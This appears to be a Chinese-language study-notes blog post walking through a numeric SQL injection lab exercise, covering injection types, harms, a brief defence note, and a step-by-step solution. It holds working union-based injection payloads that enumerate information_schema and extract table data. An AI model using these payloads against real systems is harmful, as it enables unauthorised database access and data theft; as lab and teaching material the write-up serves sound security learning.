参考
参考学习链接
- 学习笔记–基础篇–sql注入(数字型)
SQL注入简述
SQL注入
,就是利用现有Web应用程序,构建特殊的参数输入,将(恶意的)SQL
语句注入到后台数据库引擎,最终达到欺骗服务器执行恶意SQL语句的目的。
SQL注入的本质是后台SQL语句使用了拼接查询,未对用户输入的数据作安全处理。
SQL注入分类
根据注入形式的不同,可分为:
- 数字型注
- 字符型注
- 搜索型注入
根据请求方式的不同,可分为:
- GET型注
- POST型注
- HEADER型注入
根据注入点位置的不同,可分为:
- 列注入
- 表注入
- order注入
- limit注
- group by注入
- 等等
SQL注入的危害
脱库,导致敏感数据泄漏; getshell,获取服务器权限。
SQL注入防御
对用户输入的参数作好预编译处理,不能预编译的,可采取安全过滤,类型判断,映射等方式进行处理。
学习演练
学习/演练地址(须扫码登陆):SQL注入基础
提示
注入猜解过程
猜解数据库库名
select group_concat(schema_name) from information_schema.schemata;
猜解数据库表名
select group_concat(table_name) from information_schema.tables where table_schema=“A”;//A为止步中得到的库名猜解数据库列名
猜解数据库列名
select group_concat(column_name) from information_schema.columns where table_schema=“A” and table_name=‘B’;//B为上步中得到的表名猜解数据库数据信息
猜解数据库数据
select C from A.B;//其中C为上步中得到的列名
id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata–+
id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema=“lession1”–+ // 得到数据库表名
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name=“flag”–+ // 得到数据库列名
id=-1+union+select+flag+from+lession1.flag–+
数字型注入
类型区别
- 数字型注入:id=1+xxxx+--+
- 字符型注入:name=admin’+xxx+--+
- 搜索型注入:keyword=admin%’+xxx+--+
判断类型
虽然我们已经提前知道了,本次注入的漏洞类型为数字型,但一般情况下仍是需要判断的
测试链接为: http://113.108.70.111:59573/sqli1.php?id=1
很明显,id=1就是本次我们可以下手的点
把【1
】修改为【1'
】
在Mysql中,一般id是数值型,则以下错误日志应为:
SELECT * FROM db.user where id = 1' ;
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 1 0.000 sec
若id是字符型,则以下错误日志应为:
SELECT * FROM db.user where id = '1'' ;
Error Code: 1064. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’’ at line 1 0.016 sec
结合上文截图中的报错信息,可以判断为数值型
判断表字段个数
id=1
修改为id=1+order+by+1
结果无报错,继续增加值
id=1+order+by+2
结果提示:Unknown column '2' in 'order clause'
因此该表的字段为1个
获取用户信息
一般注入常利用SQL语句中,union联合
的特性来获取想要的数据
id=-1+union+select+database()
Hello
test
,Welcome to login in,having a good day!
可见当前用户表的DB为test
获取用户信息
id=-1+union+select+user()
Hello
ctf1@localhost
,Welcome to login in,having a good day!
猜解数据库库名
由以下语句变形而来
select group_concat(schema_name) from information_schema.schemata;
?id=-1+union+select+group_concat(schema_name)+from+information_schema.schemata--+
由此可获得3个数据库information_schema
,lession1
,test
其中数据库lession1
嫌疑最高
猜解数据库表名
由以下语句变形而来
select group_concat(table_name) from information_schema.tables where table_schema="A";
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';
A为上一步中得到的库名猜解数据库列名
B为上步中得到的表名猜解数据库数据信息
?id=-1+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema="lession1"--+
由此可获得数据库lession1
只有1个表flag
获取表字段
由以下语句变形而来
select group_concat(column_name) from information_schema.columns where table_schema="A" and table_name='B';
B为上步中得到的表名猜解数据库数据信息
id=-1+union+select+group_concat(column_name)+from+information_schema.columns+where+table_schema="lession1"and+table_name="flag"--+
由此可获得表flag
只有1个falg
字段
获取flag值
现在我们知道了:
- DB:lession1
- TABLE:flag
- COLUMN:flag
获取表数据,先看有几行
id=-1+union+select+count(flag)+from+lession1.flag--+
Hello 1,Welcome to login in,having a good day!
因为只有一行,我们直接获取即可
id=-1+union+select+flag+from+lession1.flag--+
将得到的e3b1dca4c859a48280979e6cbe1faba5
输入文本框,然后提交
得到页面
该页面为下一个练习的页面,说明我们已经成功通过了第一个SQL注入基础的测试!
更多推荐
SQL注入基础--数字型注入
发布评论